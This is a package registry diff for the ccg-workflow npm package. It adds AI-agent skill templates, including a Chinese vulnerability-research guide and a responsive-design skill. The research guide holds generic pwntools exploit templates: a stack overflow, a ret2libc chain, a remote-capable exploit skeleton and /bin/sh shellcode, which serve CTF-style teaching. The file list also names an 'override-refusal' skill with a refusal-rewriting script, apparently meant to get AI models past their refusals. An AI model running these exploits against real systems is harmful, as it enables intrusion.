ccg-workflow 1.8.2 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.mjs +1 -1
- package/dist/index.d.mts +1 -0
- package/dist/index.d.ts +1 -0
- package/dist/index.mjs +1 -1
- package/dist/shared/{ccg-workflow.B1RHp04H.mjs → ccg-workflow.iK6lgCG3.mjs} +204 -6
- package/package.json +1 -1
- package/templates/commands/agents/team-architect.md +97 -0
- package/templates/commands/agents/team-qa.md +121 -0
- package/templates/commands/agents/team-reviewer.md +112 -0
- package/templates/output-styles/abyss-command.md +56 -0
- package/templates/output-styles/abyss-concise.md +89 -0
- package/templates/output-styles/abyss-ritual.md +70 -0
- package/templates/rules/ccg-skill-routing.md +83 -0
- package/templates/skills/domains/ai/SKILL.md +34 -0
- package/templates/skills/domains/ai/agent-dev.md +242 -0
- package/templates/skills/domains/ai/llm-security.md +288 -0
- package/templates/skills/domains/ai/prompt-and-eval.md +279 -0
- package/templates/skills/domains/ai/rag-system.md +542 -0
- package/templates/skills/domains/architecture/SKILL.md +42 -0
- package/templates/skills/domains/architecture/api-design.md +225 -0
- package/templates/skills/domains/architecture/caching.md +299 -0
- package/templates/skills/domains/architecture/cloud-native.md +285 -0
- package/templates/skills/domains/architecture/message-queue.md +329 -0
- package/templates/skills/domains/architecture/security-arch.md +297 -0
- package/templates/skills/domains/data-engineering/SKILL.md +207 -0
- package/templates/skills/domains/development/SKILL.md +46 -0
- package/templates/skills/domains/development/cpp.md +246 -0
- package/templates/skills/domains/development/go.md +323 -0
- package/templates/skills/domains/development/java.md +277 -0
- package/templates/skills/domains/development/python.md +288 -0
- package/templates/skills/domains/development/rust.md +313 -0
- package/templates/skills/domains/development/shell.md +313 -0
- package/templates/skills/domains/development/typescript.md +277 -0
- package/templates/skills/domains/devops/SKILL.md +39 -0
- package/templates/skills/domains/devops/cost-optimization.md +272 -0
- package/templates/skills/domains/devops/database.md +217 -0
- package/templates/skills/domains/devops/devsecops.md +198 -0
- package/templates/skills/domains/devops/git-workflow.md +181 -0
- package/templates/skills/domains/devops/observability.md +280 -0
- package/templates/skills/domains/devops/performance.md +336 -0
- package/templates/skills/domains/devops/testing.md +283 -0
- package/templates/skills/domains/frontend-design/SKILL.md +242 -0
- package/templates/skills/domains/frontend-design/agents/openai.yaml +4 -0
- package/templates/skills/domains/frontend-design/claymorphism/SKILL.md +119 -0
- package/templates/skills/domains/frontend-design/claymorphism/references/tokens.css +52 -0
- package/templates/skills/domains/frontend-design/component-patterns.md +202 -0
- package/templates/skills/domains/frontend-design/engineering.md +287 -0
- package/templates/skills/domains/frontend-design/glassmorphism/SKILL.md +140 -0
- package/templates/skills/domains/frontend-design/glassmorphism/references/tokens.css +32 -0
- package/templates/skills/domains/frontend-design/liquid-glass/SKILL.md +137 -0
- package/templates/skills/domains/frontend-design/liquid-glass/references/tokens.css +81 -0
- package/templates/skills/domains/frontend-design/neubrutalism/SKILL.md +143 -0
- package/templates/skills/domains/frontend-design/neubrutalism/references/tokens.css +44 -0
- package/templates/skills/domains/frontend-design/reference/color-and-contrast.md +132 -0
- package/templates/skills/domains/frontend-design/reference/interaction-design.md +195 -0
- package/templates/skills/domains/frontend-design/reference/motion-design.md +99 -0
- package/templates/skills/domains/frontend-design/reference/responsive-design.md +114 -0
- package/templates/skills/domains/frontend-design/reference/spatial-design.md +100 -0
- package/templates/skills/domains/frontend-design/reference/typography.md +133 -0
- package/templates/skills/domains/frontend-design/reference/ux-writing.md +107 -0
- package/templates/skills/domains/frontend-design/state-management.md +680 -0
- package/templates/skills/domains/frontend-design/ui-aesthetics.md +110 -0
- package/templates/skills/domains/frontend-design/ux-principles.md +156 -0
- package/templates/skills/domains/infrastructure/SKILL.md +200 -0
- package/templates/skills/domains/mobile/SKILL.md +224 -0
- package/templates/skills/domains/orchestration/SKILL.md +29 -0
- package/templates/skills/domains/orchestration/multi-agent.md +263 -0
- package/templates/skills/domains/security/SKILL.md +72 -0
- package/templates/skills/domains/security/blue-team.md +436 -0
- package/templates/skills/domains/security/code-audit.md +265 -0
- package/templates/skills/domains/security/pentest.md +226 -0
- package/templates/skills/domains/security/red-team.md +374 -0
- package/templates/skills/domains/security/threat-intel.md +372 -0
- package/templates/skills/domains/security/vuln-research.md +369 -0
- package/templates/skills/impeccable/adapt/SKILL.md +199 -0
- package/templates/skills/impeccable/animate/SKILL.md +174 -0
- package/templates/skills/impeccable/arrange/SKILL.md +124 -0
- package/templates/skills/impeccable/audit/SKILL.md +147 -0
- package/templates/skills/impeccable/bolder/SKILL.md +116 -0
- package/templates/skills/impeccable/clarify/SKILL.md +183 -0
- package/templates/skills/impeccable/colorize/SKILL.md +142 -0
- package/templates/skills/impeccable/critique/SKILL.md +201 -0
- package/templates/skills/impeccable/critique/reference/cognitive-load.md +106 -0
- package/templates/skills/impeccable/critique/reference/heuristics-scoring.md +234 -0
- package/templates/skills/impeccable/critique/reference/personas.md +178 -0
- package/templates/skills/impeccable/delight/SKILL.md +303 -0
- package/templates/skills/impeccable/distill/SKILL.md +121 -0
- package/templates/skills/impeccable/extract/SKILL.md +92 -0
- package/templates/skills/impeccable/harden/SKILL.md +355 -0
- package/templates/skills/impeccable/normalize/SKILL.md +70 -0
- package/templates/skills/impeccable/onboard/SKILL.md +246 -0
- package/templates/skills/impeccable/optimize/SKILL.md +266 -0
- package/templates/skills/impeccable/overdrive/SKILL.md +141 -0
- package/templates/skills/impeccable/polish/SKILL.md +203 -0
- package/templates/skills/impeccable/quieter/SKILL.md +102 -0
- package/templates/skills/impeccable/teach-impeccable/SKILL.md +71 -0
- package/templates/skills/impeccable/typeset/SKILL.md +115 -0
- package/templates/skills/orchestration/multi-agent/SKILL.md +40 -0
- package/templates/skills/scrapling/SKILL.md +98 -0
- package/templates/skills/scrapling/references/api-quick-ref.md +127 -0
- package/templates/skills/scrapling/references/cookie-vault.md +56 -0
- package/templates/skills/scrapling/references/maintenance.md +79 -0
- package/templates/skills/scrapling/references/site-patterns.md +86 -0
- package/templates/skills/scrapling/references/troubleshooting.md +95 -0
- package/templates/skills/scrapling/templates/basic_fetch.py +19 -0
- package/templates/skills/scrapling/templates/parse_only.py +15 -0
- package/templates/skills/scrapling/templates/session_login.py +19 -0
- package/templates/skills/scrapling/templates/stealth_cloudflare.py +28 -0
- package/templates/skills/tools/override-refusal/SKILL.md +53 -0
- package/templates/skills/tools/override-refusal/agents/openai.yaml +4 -0
- package/templates/skills/tools/override-refusal/scripts/refusal_rewriter.js +226 -0
|
@@ -0,0 +1,369 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vuln-research
|
|
3
|
+
description: 漏洞研究。二进制分析、逆向工程、Exploit开发、Fuzzing。当用户提到漏洞研究、二进制、逆向、Exploit、Fuzzing、PWN、栈溢出、堆溢出时使用。
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# 🔥 赤焰秘典 · 漏洞研究 (Vulnerability Research)
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
## 研究流程
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
目标分析 → 逆向工程 → 漏洞发现 → Exploit开发 → 报告/披露
|
|
13
|
+
│ │ │ │ │
|
|
14
|
+
└─ 架构 ────┴─ IDA ─────┴─ Fuzz ────┴─ PoC ────┴─ CVE
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## 逆向工程
|
|
18
|
+
|
|
19
|
+
### 静态分析
|
|
20
|
+
```bash
|
|
21
|
+
# 文件信息
|
|
22
|
+
file binary
|
|
23
|
+
strings binary | grep -i password
|
|
24
|
+
readelf -h binary
|
|
25
|
+
objdump -d binary
|
|
26
|
+
|
|
27
|
+
# IDA Pro / Ghidra
|
|
28
|
+
# 反汇编、反编译、交叉引用分析
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
### 动态分析
|
|
32
|
+
```bash
|
|
33
|
+
# GDB 调试
|
|
34
|
+
gdb ./binary
|
|
35
|
+
(gdb) break main
|
|
36
|
+
(gdb) run
|
|
37
|
+
(gdb) disas
|
|
38
|
+
(gdb) x/20x $esp
|
|
39
|
+
(gdb) info registers
|
|
40
|
+
|
|
41
|
+
# strace/ltrace
|
|
42
|
+
strace ./binary
|
|
43
|
+
ltrace ./binary
|
|
44
|
+
|
|
45
|
+
# GDB 增强
|
|
46
|
+
# pwndbg / GEF / peda
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### 常用工具
|
|
50
|
+
```yaml
|
|
51
|
+
反汇编/反编译:
|
|
52
|
+
- IDA Pro: 商业,最强大
|
|
53
|
+
- Ghidra: 开源,NSA出品
|
|
54
|
+
- Binary Ninja: 现代化
|
|
55
|
+
- Radare2: 开源命令行
|
|
56
|
+
|
|
57
|
+
调试器:
|
|
58
|
+
- GDB + pwndbg/GEF
|
|
59
|
+
- x64dbg (Windows)
|
|
60
|
+
- WinDbg (Windows内核)
|
|
61
|
+
- LLDB (macOS)
|
|
62
|
+
|
|
63
|
+
辅助工具:
|
|
64
|
+
- ROPgadget: ROP链构造
|
|
65
|
+
- one_gadget: libc gadget
|
|
66
|
+
- patchelf: ELF修改
|
|
67
|
+
- checksec: 安全机制检查
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## 漏洞类型
|
|
71
|
+
|
|
72
|
+
### 栈溢出
|
|
73
|
+
```c
|
|
74
|
+
// 漏洞代码
|
|
75
|
+
void vulnerable(char *input) {
|
|
76
|
+
char buffer[64];
|
|
77
|
+
strcpy(buffer, input); // 无边界检查
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
// 利用思路
|
|
81
|
+
// 1. 覆盖返回地址
|
|
82
|
+
// 2. 跳转到 shellcode 或 ROP 链
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
```python
|
|
86
|
+
# Exploit 模板
|
|
87
|
+
from pwn import *
|
|
88
|
+
|
|
89
|
+
context.arch = 'amd64'
|
|
90
|
+
p = process('./vuln')
|
|
91
|
+
|
|
92
|
+
# 构造 payload
|
|
93
|
+
padding = b'A' * 72 # 填充到返回地址
|
|
94
|
+
ret_addr = p64(0x401234) # 目标地址
|
|
95
|
+
|
|
96
|
+
payload = padding + ret_addr
|
|
97
|
+
p.sendline(payload)
|
|
98
|
+
p.interactive()
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### 堆溢出
|
|
102
|
+
```c
|
|
103
|
+
// 漏洞代码
|
|
104
|
+
struct chunk {
|
|
105
|
+
char data[32];
|
|
106
|
+
void (*func_ptr)();
|
|
107
|
+
};
|
|
108
|
+
|
|
109
|
+
void vulnerable(char *input) {
|
|
110
|
+
struct chunk *c = malloc(sizeof(struct chunk));
|
|
111
|
+
strcpy(c->data, input); // 溢出覆盖 func_ptr
|
|
112
|
+
c->func_ptr();
|
|
113
|
+
}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### Use-After-Free
|
|
117
|
+
```c
|
|
118
|
+
// 漏洞代码
|
|
119
|
+
void vulnerable() {
|
|
120
|
+
char *ptr = malloc(64);
|
|
121
|
+
free(ptr);
|
|
122
|
+
// ptr 未置空
|
|
123
|
+
strcpy(ptr, user_input); // UAF
|
|
124
|
+
}
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
### 格式化字符串
|
|
128
|
+
```c
|
|
129
|
+
// 漏洞代码
|
|
130
|
+
void vulnerable(char *input) {
|
|
131
|
+
printf(input); // 格式化字符串漏洞
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
// 利用
|
|
135
|
+
// %x - 泄露栈数据
|
|
136
|
+
// %n - 任意写
|
|
137
|
+
// %s - 任意读
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
## 保护机制绕过
|
|
141
|
+
|
|
142
|
+
### 检查保护
|
|
143
|
+
```bash
|
|
144
|
+
checksec ./binary
|
|
145
|
+
# RELRO, Stack Canary, NX, PIE, FORTIFY
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
### 绕过技术
|
|
149
|
+
```yaml
|
|
150
|
+
NX (不可执行):
|
|
151
|
+
- ROP (Return Oriented Programming)
|
|
152
|
+
- ret2libc
|
|
153
|
+
- ret2syscall
|
|
154
|
+
|
|
155
|
+
ASLR (地址随机化):
|
|
156
|
+
- 信息泄露
|
|
157
|
+
- 暴力破解 (32位)
|
|
158
|
+
- 部分覆盖
|
|
159
|
+
|
|
160
|
+
Stack Canary:
|
|
161
|
+
- 信息泄露
|
|
162
|
+
- 逐字节爆破
|
|
163
|
+
- 覆盖 __stack_chk_fail
|
|
164
|
+
|
|
165
|
+
PIE (位置无关):
|
|
166
|
+
- 信息泄露基址
|
|
167
|
+
- 部分覆盖
|
|
168
|
+
|
|
169
|
+
RELRO:
|
|
170
|
+
- Partial: 覆盖 GOT
|
|
171
|
+
- Full: 其他利用方式
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
### ROP 链构造
|
|
175
|
+
```python
|
|
176
|
+
from pwn import *
|
|
177
|
+
|
|
178
|
+
elf = ELF('./vuln')
|
|
179
|
+
libc = ELF('./libc.so.6')
|
|
180
|
+
rop = ROP(elf)
|
|
181
|
+
|
|
182
|
+
# 泄露 libc 地址
|
|
183
|
+
rop.puts(elf.got['puts'])
|
|
184
|
+
rop.main()
|
|
185
|
+
|
|
186
|
+
# 计算 libc 基址
|
|
187
|
+
libc_base = leaked_puts - libc.symbols['puts']
|
|
188
|
+
system = libc_base + libc.symbols['system']
|
|
189
|
+
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
|
|
190
|
+
|
|
191
|
+
# 第二阶段 ROP
|
|
192
|
+
rop2 = ROP(libc)
|
|
193
|
+
rop2.system(bin_sh)
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
## Fuzzing
|
|
197
|
+
|
|
198
|
+
### AFL++
|
|
199
|
+
```bash
|
|
200
|
+
# 编译插桩
|
|
201
|
+
afl-gcc -o target_afl target.c
|
|
202
|
+
|
|
203
|
+
# 准备种子
|
|
204
|
+
mkdir input output
|
|
205
|
+
echo "seed" > input/seed
|
|
206
|
+
|
|
207
|
+
# 开始 Fuzz
|
|
208
|
+
afl-fuzz -i input -o output -- ./target_afl @@
|
|
209
|
+
|
|
210
|
+
# 分析崩溃
|
|
211
|
+
afl-tmin -i output/crashes/id:000000 -o minimized -- ./target_afl @@
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### LibFuzzer
|
|
215
|
+
```cpp
|
|
216
|
+
// fuzz_target.cpp
|
|
217
|
+
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
|
|
218
|
+
// 调用被测函数
|
|
219
|
+
parse_input(data, size);
|
|
220
|
+
return 0;
|
|
221
|
+
}
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
# 编译
|
|
226
|
+
clang++ -fsanitize=fuzzer,address fuzz_target.cpp -o fuzzer
|
|
227
|
+
|
|
228
|
+
# 运行
|
|
229
|
+
./fuzzer corpus/
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
### 智能 Fuzzing
|
|
233
|
+
```python
|
|
234
|
+
# 基于覆盖率的 Fuzzing
|
|
235
|
+
# 使用 AFL、LibFuzzer 等
|
|
236
|
+
|
|
237
|
+
# 基于语法的 Fuzzing
|
|
238
|
+
# 使用 Peach、Domato 等
|
|
239
|
+
|
|
240
|
+
# 符号执行辅助
|
|
241
|
+
# 使用 KLEE、angr 等
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
## Exploit 开发
|
|
245
|
+
|
|
246
|
+
### Shellcode
|
|
247
|
+
```python
|
|
248
|
+
# pwntools 生成
|
|
249
|
+
from pwn import *
|
|
250
|
+
context.arch = 'amd64'
|
|
251
|
+
|
|
252
|
+
# execve("/bin/sh", NULL, NULL)
|
|
253
|
+
shellcode = asm(shellcraft.sh())
|
|
254
|
+
|
|
255
|
+
# 自定义 shellcode
|
|
256
|
+
shellcode = asm('''
|
|
257
|
+
xor rdi, rdi
|
|
258
|
+
push rdi
|
|
259
|
+
mov rdi, 0x68732f6e69622f
|
|
260
|
+
push rdi
|
|
261
|
+
mov rdi, rsp
|
|
262
|
+
xor rsi, rsi
|
|
263
|
+
xor rdx, rdx
|
|
264
|
+
mov al, 59
|
|
265
|
+
syscall
|
|
266
|
+
''')
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
### 完整 Exploit 模板
|
|
270
|
+
```python
|
|
271
|
+
#!/usr/bin/env python3
|
|
272
|
+
from pwn import *
|
|
273
|
+
|
|
274
|
+
context.arch = 'amd64'
|
|
275
|
+
context.log_level = 'debug'
|
|
276
|
+
|
|
277
|
+
# 配置
|
|
278
|
+
binary = './vuln'
|
|
279
|
+
libc_path = './libc.so.6'
|
|
280
|
+
host, port = 'target.com', 1337
|
|
281
|
+
|
|
282
|
+
# 加载
|
|
283
|
+
elf = ELF(binary)
|
|
284
|
+
libc = ELF(libc_path)
|
|
285
|
+
|
|
286
|
+
def exploit(p):
|
|
287
|
+
# 1. 泄露地址
|
|
288
|
+
payload1 = b'A' * 72
|
|
289
|
+
payload1 += p64(elf.plt['puts'])
|
|
290
|
+
payload1 += p64(elf.got['puts'])
|
|
291
|
+
payload1 += p64(elf.symbols['main'])
|
|
292
|
+
|
|
293
|
+
p.sendline(payload1)
|
|
294
|
+
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
|
|
295
|
+
libc_base = leaked - libc.symbols['puts']
|
|
296
|
+
log.success(f"libc base: {hex(libc_base)}")
|
|
297
|
+
|
|
298
|
+
# 2. 获取 shell
|
|
299
|
+
system = libc_base + libc.symbols['system']
|
|
300
|
+
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
|
|
301
|
+
|
|
302
|
+
payload2 = b'A' * 72
|
|
303
|
+
payload2 += p64(libc_base + 0x4f3d5) # one_gadget
|
|
304
|
+
|
|
305
|
+
p.sendline(payload2)
|
|
306
|
+
p.interactive()
|
|
307
|
+
|
|
308
|
+
if __name__ == '__main__':
|
|
309
|
+
if args.REMOTE:
|
|
310
|
+
p = remote(host, port)
|
|
311
|
+
else:
|
|
312
|
+
p = process(binary)
|
|
313
|
+
exploit(p)
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
## CTF PWN 技巧
|
|
317
|
+
|
|
318
|
+
### 常见题型
|
|
319
|
+
```yaml
|
|
320
|
+
栈溢出:
|
|
321
|
+
- ret2text: 跳转到后门函数
|
|
322
|
+
- ret2shellcode: 跳转到 shellcode
|
|
323
|
+
- ret2libc: 调用 system("/bin/sh")
|
|
324
|
+
- ROP: 构造 ROP 链
|
|
325
|
+
|
|
326
|
+
堆利用:
|
|
327
|
+
- fastbin attack
|
|
328
|
+
- unsorted bin attack
|
|
329
|
+
- tcache poisoning
|
|
330
|
+
- house of 系列
|
|
331
|
+
|
|
332
|
+
格式化字符串:
|
|
333
|
+
- 泄露栈/libc地址
|
|
334
|
+
- 任意写 GOT
|
|
335
|
+
- 修改返回地址
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
### 快速解题流程
|
|
339
|
+
```bash
|
|
340
|
+
# 1. 检查保护
|
|
341
|
+
checksec ./pwn
|
|
342
|
+
|
|
343
|
+
# 2. 运行测试
|
|
344
|
+
./pwn
|
|
345
|
+
|
|
346
|
+
# 3. 反编译分析
|
|
347
|
+
# IDA/Ghidra
|
|
348
|
+
|
|
349
|
+
# 4. 确定漏洞点
|
|
350
|
+
# 5. 编写 Exploit
|
|
351
|
+
# 6. 本地测试
|
|
352
|
+
# 7. 远程利用
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
## 工具清单
|
|
356
|
+
|
|
357
|
+
| 工具 | 用途 |
|
|
358
|
+
|------|------|
|
|
359
|
+
| IDA Pro | 反汇编/反编译 |
|
|
360
|
+
| Ghidra | 开源逆向 |
|
|
361
|
+
| pwntools | Exploit 开发 |
|
|
362
|
+
| GDB + pwndbg | 调试 |
|
|
363
|
+
| AFL++ | Fuzzing |
|
|
364
|
+
| ROPgadget | ROP 链 |
|
|
365
|
+
| one_gadget | libc gadget |
|
|
366
|
+
| angr | 符号执行 |
|
|
367
|
+
|
|
368
|
+
---
|
|
369
|
+
|
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: adapt
|
|
3
|
+
description: "Adapt designs to work across different screen sizes, devices, contexts, or platforms. Implements breakpoints, fluid layouts, and touch targets. Use when the user mentions responsive design, mobile layouts, breakpoints, viewport adaptation, or cross-device compatibility."
|
|
4
|
+
argument-hint: "[target] [context (mobile, tablet, print...)]"
|
|
5
|
+
user-invocable: true
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
Adapt existing designs to work effectively across different contexts - different screen sizes, devices, platforms, or use cases.
|
|
9
|
+
|
|
10
|
+
## MANDATORY PREPARATION
|
|
11
|
+
|
|
12
|
+
Invoke /frontend-design — it contains design principles, anti-patterns, and the **Context Gathering Protocol**. Follow the protocol before proceeding — if no design context exists yet, you MUST run /teach-impeccable first. Additionally gather: target platforms/devices and usage contexts.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Assess Adaptation Challenge
|
|
17
|
+
|
|
18
|
+
Understand what needs adaptation and why:
|
|
19
|
+
|
|
20
|
+
1. **Identify the source context**:
|
|
21
|
+
- What was it designed for originally? (Desktop web? Mobile app?)
|
|
22
|
+
- What assumptions were made? (Large screen? Mouse input? Fast connection?)
|
|
23
|
+
- What works well in current context?
|
|
24
|
+
|
|
25
|
+
2. **Understand target context**:
|
|
26
|
+
- **Device**: Mobile, tablet, desktop, TV, watch, print?
|
|
27
|
+
- **Input method**: Touch, mouse, keyboard, voice, gamepad?
|
|
28
|
+
- **Screen constraints**: Size, resolution, orientation?
|
|
29
|
+
- **Connection**: Fast wifi, slow 3G, offline?
|
|
30
|
+
- **Usage context**: On-the-go vs desk, quick glance vs focused reading?
|
|
31
|
+
- **User expectations**: What do users expect on this platform?
|
|
32
|
+
|
|
33
|
+
3. **Identify adaptation challenges**:
|
|
34
|
+
- What won't fit? (Content, navigation, features)
|
|
35
|
+
- What won't work? (Hover states on touch, tiny touch targets)
|
|
36
|
+
- What's inappropriate? (Desktop patterns on mobile, mobile patterns on desktop)
|
|
37
|
+
|
|
38
|
+
**CRITICAL**: Adaptation is not just scaling - it's rethinking the experience for the new context.
|
|
39
|
+
|
|
40
|
+
## Plan Adaptation Strategy
|
|
41
|
+
|
|
42
|
+
Create context-appropriate strategy:
|
|
43
|
+
|
|
44
|
+
### Mobile Adaptation (Desktop → Mobile)
|
|
45
|
+
|
|
46
|
+
**Layout Strategy**:
|
|
47
|
+
- Single column instead of multi-column
|
|
48
|
+
- Vertical stacking instead of side-by-side
|
|
49
|
+
- Full-width components instead of fixed widths
|
|
50
|
+
- Bottom navigation instead of top/side navigation
|
|
51
|
+
|
|
52
|
+
**Interaction Strategy**:
|
|
53
|
+
- Touch targets 44x44px minimum (not hover-dependent)
|
|
54
|
+
- Swipe gestures where appropriate (lists, carousels)
|
|
55
|
+
- Bottom sheets instead of dropdowns
|
|
56
|
+
- Thumbs-first design (controls within thumb reach)
|
|
57
|
+
- Larger tap areas with more spacing
|
|
58
|
+
|
|
59
|
+
**Content Strategy**:
|
|
60
|
+
- Progressive disclosure (don't show everything at once)
|
|
61
|
+
- Prioritize primary content (secondary content in tabs/accordions)
|
|
62
|
+
- Shorter text (more concise)
|
|
63
|
+
- Larger text (16px minimum)
|
|
64
|
+
|
|
65
|
+
**Navigation Strategy**:
|
|
66
|
+
- Hamburger menu or bottom navigation
|
|
67
|
+
- Reduce navigation complexity
|
|
68
|
+
- Sticky headers for context
|
|
69
|
+
- Back button in navigation flow
|
|
70
|
+
|
|
71
|
+
### Tablet Adaptation (Hybrid Approach)
|
|
72
|
+
|
|
73
|
+
**Layout Strategy**:
|
|
74
|
+
- Two-column layouts (not single or three-column)
|
|
75
|
+
- Side panels for secondary content
|
|
76
|
+
- Master-detail views (list + detail)
|
|
77
|
+
- Adaptive based on orientation (portrait vs landscape)
|
|
78
|
+
|
|
79
|
+
**Interaction Strategy**:
|
|
80
|
+
- Support both touch and pointer
|
|
81
|
+
- Touch targets 44x44px but allow denser layouts than phone
|
|
82
|
+
- Side navigation drawers
|
|
83
|
+
- Multi-column forms where appropriate
|
|
84
|
+
|
|
85
|
+
### Desktop Adaptation (Mobile → Desktop)
|
|
86
|
+
|
|
87
|
+
**Layout Strategy**:
|
|
88
|
+
- Multi-column layouts (use horizontal space)
|
|
89
|
+
- Side navigation always visible
|
|
90
|
+
- Multiple information panels simultaneously
|
|
91
|
+
- Fixed widths with max-width constraints (don't stretch to 4K)
|
|
92
|
+
|
|
93
|
+
**Interaction Strategy**:
|
|
94
|
+
- Hover states for additional information
|
|
95
|
+
- Keyboard shortcuts
|
|
96
|
+
- Right-click context menus
|
|
97
|
+
- Drag and drop where helpful
|
|
98
|
+
- Multi-select with Shift/Cmd
|
|
99
|
+
|
|
100
|
+
**Content Strategy**:
|
|
101
|
+
- Show more information upfront (less progressive disclosure)
|
|
102
|
+
- Data tables with many columns
|
|
103
|
+
- Richer visualizations
|
|
104
|
+
- More detailed descriptions
|
|
105
|
+
|
|
106
|
+
### Print Adaptation (Screen → Print)
|
|
107
|
+
|
|
108
|
+
**Layout Strategy**:
|
|
109
|
+
- Page breaks at logical points
|
|
110
|
+
- Remove navigation, footer, interactive elements
|
|
111
|
+
- Black and white (or limited color)
|
|
112
|
+
- Proper margins for binding
|
|
113
|
+
|
|
114
|
+
**Content Strategy**:
|
|
115
|
+
- Expand shortened content (show full URLs, hidden sections)
|
|
116
|
+
- Add page numbers, headers, footers
|
|
117
|
+
- Include metadata (print date, page title)
|
|
118
|
+
- Convert charts to print-friendly versions
|
|
119
|
+
|
|
120
|
+
### Email Adaptation (Web → Email)
|
|
121
|
+
|
|
122
|
+
**Layout Strategy**:
|
|
123
|
+
- Narrow width (600px max)
|
|
124
|
+
- Single column only
|
|
125
|
+
- Inline CSS (no external stylesheets)
|
|
126
|
+
- Table-based layouts (for email client compatibility)
|
|
127
|
+
|
|
128
|
+
**Interaction Strategy**:
|
|
129
|
+
- Large, obvious CTAs (buttons not text links)
|
|
130
|
+
- No hover states (not reliable)
|
|
131
|
+
- Deep links to web app for complex interactions
|
|
132
|
+
|
|
133
|
+
## Implement Adaptations
|
|
134
|
+
|
|
135
|
+
Apply changes systematically:
|
|
136
|
+
|
|
137
|
+
### Responsive Breakpoints
|
|
138
|
+
|
|
139
|
+
Choose appropriate breakpoints:
|
|
140
|
+
- Mobile: 320px-767px
|
|
141
|
+
- Tablet: 768px-1023px
|
|
142
|
+
- Desktop: 1024px+
|
|
143
|
+
- Or content-driven breakpoints (where design breaks)
|
|
144
|
+
|
|
145
|
+
### Layout Adaptation Techniques
|
|
146
|
+
|
|
147
|
+
- **CSS Grid/Flexbox**: Reflow layouts automatically
|
|
148
|
+
- **Container Queries**: Adapt based on container, not viewport
|
|
149
|
+
- **`clamp()`**: Fluid sizing between min and max
|
|
150
|
+
- **Media queries**: Different styles for different contexts
|
|
151
|
+
- **Display properties**: Show/hide elements per context
|
|
152
|
+
|
|
153
|
+
### Touch Adaptation
|
|
154
|
+
|
|
155
|
+
- Increase touch target sizes (44x44px minimum)
|
|
156
|
+
- Add more spacing between interactive elements
|
|
157
|
+
- Remove hover-dependent interactions
|
|
158
|
+
- Add touch feedback (ripples, highlights)
|
|
159
|
+
- Consider thumb zones (easier to reach bottom than top)
|
|
160
|
+
|
|
161
|
+
### Content Adaptation
|
|
162
|
+
|
|
163
|
+
- Use `display: none` sparingly (still downloads)
|
|
164
|
+
- Progressive enhancement (core content first, enhancements on larger screens)
|
|
165
|
+
- Lazy loading for off-screen content
|
|
166
|
+
- Responsive images (`srcset`, `picture` element)
|
|
167
|
+
|
|
168
|
+
### Navigation Adaptation
|
|
169
|
+
|
|
170
|
+
- Transform complex nav to hamburger/drawer on mobile
|
|
171
|
+
- Bottom nav bar for mobile apps
|
|
172
|
+
- Persistent side navigation on desktop
|
|
173
|
+
- Breadcrumbs on smaller screens for context
|
|
174
|
+
|
|
175
|
+
**IMPORTANT**: Test on real devices, not just browser DevTools. Device emulation is helpful but not perfect.
|
|
176
|
+
|
|
177
|
+
**NEVER**:
|
|
178
|
+
- Hide core functionality on mobile (if it matters, make it work)
|
|
179
|
+
- Assume desktop = powerful device (consider accessibility, older machines)
|
|
180
|
+
- Use different information architecture across contexts (confusing)
|
|
181
|
+
- Break user expectations for platform (mobile users expect mobile patterns)
|
|
182
|
+
- Forget landscape orientation on mobile/tablet
|
|
183
|
+
- Use generic breakpoints blindly (use content-driven breakpoints)
|
|
184
|
+
- Ignore touch on desktop (many desktop devices have touch)
|
|
185
|
+
|
|
186
|
+
## Verify Adaptations
|
|
187
|
+
|
|
188
|
+
Test thoroughly across contexts:
|
|
189
|
+
|
|
190
|
+
- **Real devices**: Test on actual phones, tablets, desktops
|
|
191
|
+
- **Different orientations**: Portrait and landscape
|
|
192
|
+
- **Different browsers**: Safari, Chrome, Firefox, Edge
|
|
193
|
+
- **Different OS**: iOS, Android, Windows, macOS
|
|
194
|
+
- **Different input methods**: Touch, mouse, keyboard
|
|
195
|
+
- **Edge cases**: Very small screens (320px), very large screens (4K)
|
|
196
|
+
- **Slow connections**: Test on throttled network
|
|
197
|
+
|
|
198
|
+
Remember: You're a cross-platform design expert. Make experiences that feel native to each context while maintaining brand and functionality consistency. Adapt intentionally, test thoroughly.
|
|
199
|
+
|